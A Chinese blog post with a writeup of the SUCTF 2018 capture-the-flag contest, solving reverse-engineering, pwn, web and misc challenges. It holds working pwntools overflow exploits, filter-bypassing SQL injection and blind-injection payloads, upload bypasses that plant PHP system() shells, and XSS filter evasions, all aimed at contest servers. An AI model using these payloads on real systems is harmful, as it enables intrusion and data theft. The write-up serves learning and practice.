R·ex / Zeng


音游狗、安全狗、攻城狮、业余设计师、段子手、苦学日语的少年。

SUCTF 2018 招新赛 Writeup

注意:本文发布于 1989 天前,文章中的一些内容可能已经过时。

前几天偶然在群里看到了 SUCTF 的比赛链接,心想自己好久没有做过安全的东西了,这博客也好久没有写过正儿八经的安全文章了,于是就参加了一下。下面就写一写我过的那些题吧!

题目是按照在比赛中的顺序,而不是难度顺序。

REV

basic re

运行程序发现输出了 flag format: SUCTF{xxxxxxxxxxxxxxx},拖进 IDA 发现该字符串在 sub_140012460 处,附近的代码如下:

memset(s, 0, 31ui64);
sub_140011159(std::cout, "flag format: SUCTF{xxxxxxxxxxxxxxx}\n");
sub_140011159(std::cout, "Please Input Key:");
std::basic_istream<char,std::char_traits<char>>::operator>>(std::cin, &key);
key %= 65536u;
v185 = 8;
while (v185) {
    --v185;
    for (j = 22; j; s[j] |= v189 << v185) {
        v188 = *(&v4 + 22 * v185 + --j);
        v189 = (v188 >> ((key >> 2 * v185) & 3)) & 1;
    }
}
sub_140011159(std::cout, s);
system("pause");

大概是某种加密吧,但输入一共就 65536 种可能,于是懒得分析了,直接写了一段 Shell 脚本暴力:

touch output.txt
for i in `seq 0 1 65535`; do
    echo $i | ./basic-re.exe >> output.txt 2>/dev/null
done
# 由于输出是连续的,因此 flag format 前面一定是上一次运行的结果,于是直接搜右花括号
cat output.txt | grep }flag | less

过滤出来的结果没几条,可以比较容易的找到 Flag:SUCTF{Flag_8i7244980f}

re register

拖进 IDA 直接发现流程:

s = 'R';
v6 = 'T';
v7 = 'B';
v8 = 'S';
v9 = 'E';
v10 = 'z';
v11 = 'E';
v12 = 'k';
v13 = '`';
v14 = 'f';
v15 = '^';
v16 = '0';
v17 = 'b';
v18 = 'p';
v19 = 'd';
v20 = 'x';
v21 = 'n';
v22 = 'd';
v23 = 'b';
v24 = 'm';
v25 = '`';
v26 = 'p';
v27 = 'q';
v28 = '6';
v29 = '2';
v30 = '8';
v31 = 'v';
v32 = '|';
v33 = '\0';
v35 = strlen(&s);
for (i = 0; ; ++i) {
    p = v35--;
    if (p == 0) break;
    if (getchar() - 1 != *(&s + i)) {
        printf("wrong!", argv);
        exit(-1);
    }
}

把上述字符的 ASCII 分别加上 1

'RTBSEzEk`f^0bpdxndbm`pq628v|'.split('').map(t => String.fromCharCode(t.charCodeAt() + 1)).join('')

即可得到 Flag:SUCTF{Flag_1cqeyoecnaqr739w}

hash

拖进 IDA,发现了几个特别眼熟的数字:

v11 = 1732584193;
v12 = -271733879;
v13 = -1732584194;
v14 = 271733878;

确认过眼神,是 MD5 算法。然后看到这一段:

i = 0;
do {
    if (!(i & 1)) v26[i] ^= 1u;
    ++i;
} while (i < 32);

是将 MD5 结果中所有偶数位的值与 1 异或,结果是 bf772f6ed89838b9gb9f7abf3cc09413。于是推得异或前为 cf673f7ee88828c9fb8f6acf2cb08403,MD5 反查得到 birthday

下面的 sub_401A90 中有如下的加密:

for (i = 0; i < len; *p += delta + 1) {
    p = &s[i];
    delta = 2 * i++;
}
equal = strcmp(s, "`ut9t;");

分别将字符串的每一位减掉 1357911 即可得到 _ro2k0,最后拼起来可得 Flag:SUCTF{birthday_ro2k0}

HelloPython

.pyc 文件转换回 Python 源代码,发现是一行超级长的东西,根本没法读:

(lambda __operator, __print, __g, __contextlib, __y: [ (lambda __mod: [ [ [ (lambda __items, __after, __sentinel: __y(lambda __this: lambda : (lambda __i: [ (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda : __this())][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None,'__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and [ True for __out[0] in [(sys.exit(0), lambda after: after())[1]] ][0]})(), type('try', (), {'__enter__': lambda self: None,'__exit__': lambda __self, __exctype, __value, __traceback: [ False for __out[0] in [(v.append(int(word, 16)), lambda __after: __after())[1]] ][0]})())))([None]) for __g['word'] in [__i] ][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(iter(p_text.split('_')), lambda : [ [ [ [ [ [ [ (lambda __after: __y(lambda __this: lambda : (lambda __target: [ (lambda __target: [ (lambda __target: [ [ __this() for __g['n'] in [__operator.isub(__g['n'], 1)] ][0] for __target.value in [__operator.iadd(__target.value, (y.value << 4) + k[2] ^ y.value + x.value ^ (y.value >> 5) + k[3])] ][0])(z) for __target.value in [__operator.iadd(__target.value, (z.value << 4) + k[0] ^ z.value + x.value ^ (z.value >> 5) + k[1])] ][0])(y) for __target.value in [__operator.iadd(__target.value, u)] ][0])(x) if n > 0 else __after())())(lambda : [ [ (__print(''.join(map(hex, w)).replace('0x', '').replace('L', '')), None)[1] for w[1] in [z.value] ][0] for w[0] in [y.value] ][0]) for __g['w'] in [[0, 0]] ][0] for __g['n'] in [32] ][0] for __g['u'] in [2654435769] ][0] for __g['x'] in [c_uint32(0)] ][0] for __g['z'] in [c_uint32(v[1])] ][0] for __g['y'] in [c_uint32(v[0])] ][0] for __g['k'] in [[3735928559, 590558003, 19088743, 4275878552]] ][0], []) for __g['v'] in [[]] ][0] for __g['p_text'] in [raw_input('plain text:\n> ')] ][0] for __g['c_uint32'] in [__mod.c_uint32] ][0])(__import__('ctypes', __g, __g, ('c_uint32', ), 0)) for __g['sys'] in [__import__('sys', __g, __g)] ][0])(__import__('operator', level=0), __import__('__builtin__', level=0).__dict__['print'], globals(), __import__('contextlib', level=0), lambda f: (lambda x: x(x))(lambda y: f(lambda : y(y)())))

于是还是从里面的几个常数入手,发现 2654435769 可以搜到 TEA、XTEA 加密算法,仔细确认了一番,包含 << 4>> 5 这种明显的操作,加密数据为两个数字,key 为四个数字,重复了 32 轮,是 TEA 没得跑了。

#include <stdio.h>
// TEA algorithm from https://blog.csdn.net/gsls200808/article/details/48243019
void decrypt(unsigned int *v, unsigned int *k) {
    unsigned int v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;  /* set up */
    unsigned int delta = 0x9e3779b9;                         /* a key schedule constant */
    unsigned int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
    for (i = 0; i < 32; i++) {                               /* basic cycle start */
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }                                                        /* end cycle */
    v[0] = v0;
    v[1] = v1;
}
int main() {
    unsigned int key[4] = {3735928559u, 590558003, 19088743, 4275878552u};
    unsigned int cipher[2] = {0xf1f5d29b, 0x6e4414ec};
    decrypt(cipher, key);
    printf("result: SUCTF{%x_%x}\n", cipher[0], cipher[1]);
    return 0;
}

得到 Flag:SUCTF{6ba18492_34f9b252}

PWN

stack

// at address 0000000000400676
int next_door() {
  return system("/bin/sh");
}
int __cdecl main(int argc, const char **argv, const char **envp) {
    char buf; // [rsp+0h] [rbp-20h]
    read(0, &buf, 48uLL);
}

buf 的长度为 0x20 = 32,下面是八位的 s,然后是 r,因此 EXP 如下:

from pwn import *

r = remote('xxx.xxx.xxx.xxx', 10003)
r.send('A' * 40 + p64(0x0000000000400676))
r.interactive()

可以找到 Flag 文件是 /home/ctf/flag,可得:SUCTF{my_problem_is_water}

basic pwn

// at address 0000000000401157
int callThisFun(void) {
    char *path; // [rsp+0h] [rbp-20h]
    const char *v2; // [rsp+8h] [rbp-18h]
    __int64 v3; // [rsp+10h] [rbp-10h]

    path = "/bin/cat";
    v2 = "flag.txt";
    v3 = 0LL;
    return execve("/bin/cat", &path, 0LL);
}
int __cdecl main(int argc, const char **argv, const char **envp) {
    char s; // [rsp+10h] [rbp-110h]
    int v5; // [rsp+11Ch] [rbp-4h]
    scanf("%s", &s, envp, argv);
    v5 = strlen(&s);
    printf("Hi %s\n", &s);
    return 0;
}

差不多的原理:

from pwn import *

exp = ''.join([
    'A' * 280,
    p64(0x0000000000401157)
])
r = remote('xxx.xxx.xxx.xxx', 10004)
r.send(exp)
r.interactive()

得到 Flag:SUCTF{11223344}。有个问题是:我需要先发送一个 ^Zfg 一下才能得到 Flag,哪位大佬知道原因呢?

babyarray

int __cdecl main(int argc, const char **argv, const char **envp) {
    __isoc99_scanf("%d", &index);
    __isoc99_scanf("%d", 4LL * index + 0x6010A0);
    // a is at address 0000000000601068
    if (!a) printf(flag);
}

简单的计算题,分别输入 -140 即可得到 Flag:SUCTF{4rray_ov3rfloW~}

WEB

where are you from level1

打开网页提示 only guest from 127.0.0.1 can get flag of level1,一开始想通过 X-Forwarded-For 伪造 IP 然而失败了,最后发现可以用 Client-IP,于是拿到 Flag:SUCTF{X_F0rw4rd3d_F0r_7O_cHe4t_5eV3r}

include me

简单的 LFI,可以通过 /?lang=php://filter/read=convert.base64-encode/resource=index.php 拿到 Flag:SUCTF{ha_ha_ha_you_win}

yunpan

打开云盘中的 readme.txt 发现 嘤嘤嘤,我怎么可能直白的把flag.php上传到云盘呢,这下看你怎么拿到flag.php,嘤嘤嘤,打开 flag.php 发现 厉害啊,你竟然能找到这里,然而flag在哪里呢,hiahiahia!,于是考虑文件包含,随便点开一个文件发现下载链接是 /download.php?file={FILENAME_BASE64},于是访问 /download.php?file=ZmxhZy5waHA= 得到 Flag:SU{hu_lu_w4_15_g00d!}

onepiece

打开网页发现 是phpstorm,我用了phpstorm,一开始以为是 Xdebug 远程代码执行,试了半天没有,然后发现 JB 家的东西都有个叫 .idea 的目录,于是访问 /.idea/workspace.xml,发现里面有 UpL0ad.php 但不知道意义何在,还有个 README.html 访问后发现提到了 onepiece.zip,下下来解压发现是个通过 phpjm 加密的 PHP 文件,找了个在线解密网站解出来是:

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$flag = "**********";
if (isset($_POST['file'])) {
    $filename = $_POST['file'];
    echo ${$filename};
}

于是回到 UpL0ad.php,POST 一个 file=flag 即可得到 Flag:SUCTF{8dbdda48fb8748d6746f1965824e966a}

Easy_upload

随便传一个文件发现 only allow png!,于是抓包改一下 Content-Typeimage/png,发现 dadada.php is not allowed!,于是改后缀为 php5 发现 '<?php' not allowed!,于是考虑用 <?=system("ls")?> 绕过,发现可行,并发现了 ../flag.php 以及里面的 Flag:SUCTF{up10d_i5_int3r35tin9}

baby upload

随便找了张图片,点击上传后发现被前端拦截了,于是去看代码:

if (Suffix == '') {
    alert('你传了吗你就点。。。');
    return false;
}
if (Suffix != 'jpg' && Suffix != 'png' && Suffix != 'bmp' && Suffix != 'gif') {
    alert('只能传图片哎');
    return false;
}

这文案好欠揍啊……直接在 F12 的 Console 中执行 check = () => true 覆盖掉这一函数再上传,发现提示:

上传成功 :upload/a217b700cb7e7db24596cff62b82a4bb.png
但是你传的这种文件执行不了并没有什么用所以我给你删掉了,需要的脚本文件才能黑掉我

我有一种想暴打出题人的冲动……算了算了,找个 PHP 文件传一下:

上传成功 :upload/880c4f2cebed353d687a36eb5f9bcc92.php
恭喜你通过第一层,听说第二次层和文件mime有关
检测到不是图片文件 你需要绕过第二层防护

于是抓包修改 Content-Typeimage/png 再传,发现:

第二层考验也轻松通过....
但是这个文件后缀在上传黑名单里,你需要绕过第三层防护

一样的套路,将文件后缀修改为 php5

行吧!行吧!给你flag
SUCTF{this_is_a_e4ay_upl0ad}

where are you from level2

看起来网站会记录 IP 到数据库,因此还是考虑通过 Client-IP 头注入,简单测试了一下发现后端会过滤掉空格,所以要用 /**/ 来代替;也会把 SELECTFROM 过滤一次,所以要考虑双写:

',(SELselectECT/**/GROUP_CONCAT(schema_name)/**/FRfromOM/**/information_schema.schemata))/**/# 拿到数据库 demo2
',(SELselectECT/**/GROUP_CONCAT(table_name)/**/FRfromOM/**/information_schema.tables/**/WHERE/**/table_schema='demo2'))/**/# 拿到数据表 flaaag
',(SELselectECT/**/GROUP_CONCAT(column_name)/**/FRfromOM/**/information_schema.columns/**/WHERE/**/table_schema='demo2'/**/AND/**/table_name='flaaag'))/**/# 拿到列名,不过已经没有必要了
',(SELselectECT/**/fl4g/**/FRfromOM/**/demo2.flaaag))/**/# 直接查找数据

最终拿到 Flag:SUCTF{f**k1n9_T3rr1bl3_5ql1_7r1ck5}

php is No.1

可以控制的输入有 $time$num,需要同时通过这几个判断:$num == 0$numis_numeric($time) && is_numeric($num)$time >= 86400 * 30$time <= 86400 * 30 * 2,最后会 sleep((int)$time) 然后输出 Flag……彳亍口巴,你们开心就好。

答案是 time=3e6&num=0x,前面都好理解,就是 (int) 的强制类型转换比较神奇,会将 "3e6" 转换为 3,这样网页会延迟三秒再出结果,这已经是整数的最小值了,因为 2e6 就没法通过 $time >= 86400 * 30 === 2592000 的判断了。

Flag:SUCTF{pHp_1s_The_be5t}

Classic Sqli

只需要注出管理员密码即可。不过过滤比较神奇。许多符号都过滤掉了:

$black_list = "/guest|limit|substr|mid|like|or|char|union|select|greatest|\'|";
$black_list .= "=|_| |in|<|>|-|\.|\(|\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit("Hacker detected!");
if(preg_match($black_list, $_GET['pw'])) exit("Hacker detected!");

$query="select user from chal where user='$_GET[user]' and pw='$_GET[pw]'";

$result = mysqli_query($link, $query);
$result = mysqli_fetch_array($result);

$admin_pass = mysqli_fetch_array(mysqli_query($link, "select pw from chal where user='admin'"));

echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";
if($result['user']) echo "<h2>Bonjour!, {$result['user']}</h2>";

if(($admin_pass['pw'])&&($admin_pass['pw'] === $_GET['pw'])){
    echo $flag;
}

过滤引号倒是好说,可以用 user=\ 来绕过,这样就成了:

# 希望最后的高亮没问题吧,因为拼接的斜杠转义了 user 的单引号,因此 user 其实是 [' and pw=]
select user from chal where user='\' and pw='xxxxx'

然而没法用注释符号啊!查了半天,发现 ;%00 也可以当作注释符号……然后发现似乎只能盲注,思路是用 REGEXP 运算符判断,从 ^1 开始枚举密码,如果正确的话,页面上会出现 Bonjour!, admin,此时可以枚举下一位,直到下一位是 $ 为止:

# 为了方便理解,把原有的单引号换成了双引号
# 加括号是为了看的清楚一点
# 末尾是零号字符而不是三个字符
select user from chal where (user="' and pw=" AND false) OR (pw REGEXP "^1" AND user = "admin");%00'

于是用 &&|| 代替 andor/**/ 代替空格,REGEXP 兼职判相等(不能出现 admin,因为 in 在黑名单),最后:

提交数据成了这样:
/?user=\&pw=%26%26false||pw/**/REGEXP/**/"^1"%26%26user/**/REGEXP/**/"adm";%00
拼接的 SQL 是:
select user from chal where user='\' and pw='&&false||pw/**/REGEXP/**/"^1"&&user/**/REGEXP/**/"adm"

最终发现密码是 1adpmh105i31,于是直接访问:/?user=&pw=1adpmh105i31,得到 Flag:SUCTF{SQL_is_sophisticated}

xss1

居然用了我当年的系统和题目……

循环过滤了 /alert/g,因此考虑 "); Function("al" + "ert(1)")(); (" 绕过,拿到 Flag:SUCTF{xSS_1s_ea5y_r1ghT?}

xss2

居然还是我当年的题目……

允许输入的字符只有 []!+ 四个,但是拼接出 alert 是足够了:

![]+[] === false
!![]+[] === true
+true === 1
+false === 0
true+[] === "true"
false+[] === "false"
[ ![]+[] ][0] === ![]+[] // 替代圆括号

因此最终的解法是:

/* "false"[1] === "a" */
[![]+[]][+![]+[]][+!![]]+
/* "false"[2] === "l" */
[![]+[]][+![]+[]][+!![]+!![]]+
/* "true"[3] === "e" */
[!![]+[]][+![]+[]][+!![]+!![]+!![]]+
/* "true"[1] === "r" */
[!![]+[]][+![]+[]][+!![]]+
/* "true"[0] === "t" */
[!![]+[]][+![]+[]][+![]]

拿到 Flag:SUCTF{Th1s_1s_n0t_0n1y_jsF**k}

secure html

一开始完全没思路,因为后端会过滤掉 <?,后来出题人提供了 Hint:Do you know rest api?,想到可能是通过 PUT 方法直接上传文件。发现点击 View Your Page 按钮后会跳到 pages/xxxxxxxx.html,因此构造如下请求:

PUT /pages/xxxxxxxx.html HTTP/1.1
...省略若干头部

<? system('ls /');

xxxxxxxx.html 确实只是个 HTML 文件,但后来发现一开始的 secure_html.php 会包含这个文件并执行,于是构造命令,发现了 Flag 文件是 /flag,内容是:SUCTF{PUT_1s_n0t_a_r4r3_HTTP_m3Th0d}

MISC

签到题

群简介中可以看到 Flag:SUCTF{v3ry_w31come_to_suctf}

single dog

附件用 binwalk 搞一下发现里面藏了个压缩包,提取出来解压后是个文本文件,打开发现是 aaencode 编码,执行一下会弹框 双十一快乐,我特么……

去掉最后用来执行的 ('_'); 可得 Flag:SUCTF{happy double eleven}

调查问卷

最后一道放出来的题,是一个对这次比赛的调查问卷,感受到了出题人的诚意。填完之后得到 Flag:SUCTF{th3nk5_you_666}

follow me

看起来像是在做渗透测试的时候抓的包。用 Wireshark 将 Pcap 中的 HTTP 请求都提取出来,在 login%3f_=6975b9a9f7a359d322e06c0e28db112b(123) 中找到了 Flag:SUCTF{password_is_not_weak}

佛家妙语

分别是与佛论禅编码、Base64、Base32、Base16、Base58(这我是第一次听说),解出 Flag:SUCTF{d0_y0u_kn0w_base58?}

stature

根据题干“我觉得我没有那么矮”可以想到是修改了 PNG 的 IHDR 中的高度,使用 TweakPNG 将高度修改为 500 即可看到 Flag:SUCTF{wo_cai_bu_ai}

dead_z3r0

文件有两部分,用 binwalk 拆开,第一部分是一段 Base64,解码后是一段二进制;第二部分是个损坏了的 .pyc 文件,于是我自己搞了个 .pyc 出来,尝试用替换的方法来修复,然后转成 .py 文件,发现了加密逻辑:

def encryt(key, plain):
    cipher = ''
    for i in range(len(plain)):
        cipher += chr(ord(key[i % len(key)]) ^ ord(plain[i]))
    return cipher
def main():
    key = 'LordCasser'
    plain = getPlainText()
    cipher = encryt(key, plain)

于是只需要再与 LordCasser 逐位异或回来就行了。解完之后发现是:

y0u 4r3 f0013d
th15 15 n0t that y0u want
90 0n dud3
c4tch th3 st3g05a

居然被耍了,这是道隐写题,于是上网搜 pyc 隐写,搜到一个软件叫 stegosaurus,于是下下来,直接提取 .pyc 里面隐藏的 Flag:SUCTF{Z3r0_fin411y_d34d}

人类的本质

一看图标就知道是个 VB 程序,于是下了一个 VB Decompiler,从 Command5_Click_48D920 开始往后的每一个函数都会有如下的内容:

var_18 = Text1.Text
var_1C = var_18 & "看起来像 flag 的一部分"
Text1.Text = var_1C

于是依次拼凑起来,得到:SUCTF{?_tql_t9l_s70p?fu?u!},问号部分只能去 IDA 找了,将 var_0048BAF0var_0048BA74var_0048BA50 地址中的值转为字符后分别是 U_d,因此 Flag 是:SUCTF{U_tql_t9l_s70p_fudu!}

总结

总体来说有一点长进,但没太多:PWN 还是只会普通的溢出,Web 第一次尝试手工注入枚举密码,其它做出来的都是常规题。

至于遗憾还是有很多的:

  • unlink 那道题我学了一段时间的 glibc unlink 漏洞,但是一直没有利用成功;
  • gallery 那道 Phar 的题和 403readfile 那道文件包含的题我居然都没做出来,可能是因为脑洞太小了吧;
  • hidden 那道题我找到了 Flag 的第二部分,但二维码没时间修复了(毕竟上班时间比较短);
  • one image %3F 那道题不知道究竟是不是 FFT 盲水印,反正我把红绿通道分离之后分别变换再各种相减都没啥结果,用 Stegsolve 发现几个绿色平面的顶端有疑似一维条形码的东西但我扫不出来;
  • 流量那道题不会提取 SSL 证书。

Update 2018.11.15

看了官方 Writeup 之后发现自己简直越来越蠢了:

  • gallery 可以通过普通的文件包含发现 index.php 中包含了 PicManager.php,后者有一个 PicManager 的类,里面的析构函数很神奇,可以直接运用 Phar 的反序列化漏洞;
  • hidden 不是修复二维码,而是直接对二维码 binwalk 一下,能发现里面还有八张二维码以及含有 Flag 第二部分的 Word 文档,但因为我当时太脑残,直接把那八张二维码忽略了……拼起来就是 Flag 的第一部分;
  • easy_overflow_file_structure 我的思路是通过 ResearchField 头写入一个伪造的 FILE 结构体,顺便溢出一下让后面的 fd 指到这里(反正都是全局变量,地址固定),但发现数组有多长就读入多长,于是不会做了,其实程序对重复头的处理有问题,只需要用重复的头就可以不断读取了;
  • 403readfile 那个题,我知道可以过滤掉 ./ 但没想过用 "fl./ag" 来绕过过滤……以及如果是先过滤再判断,就不会有这个漏洞了;
  • 流量那题我拿到了带密码的 upload.zip,但里面的几个 Flag 片段显示不出 CRC32 来,估计是我这儿 7Zip 的问题,通过 CRC32 爆破短文件的题我做过两个了,这次的第一印象也是这个,然而……GG;
  • one image %3F 确实是通过红绿通道来解 FFT 盲水印,但不知道为啥我不管是用 Mathematica 手动解还是网上找的两个脚本,都解不出来……

还是自己太菜了……

Disqus 加载中……如未能加载,请将 disqus.com 和 disquscdn.com 加入白名单。

这是我们共同度过的

第 3076 天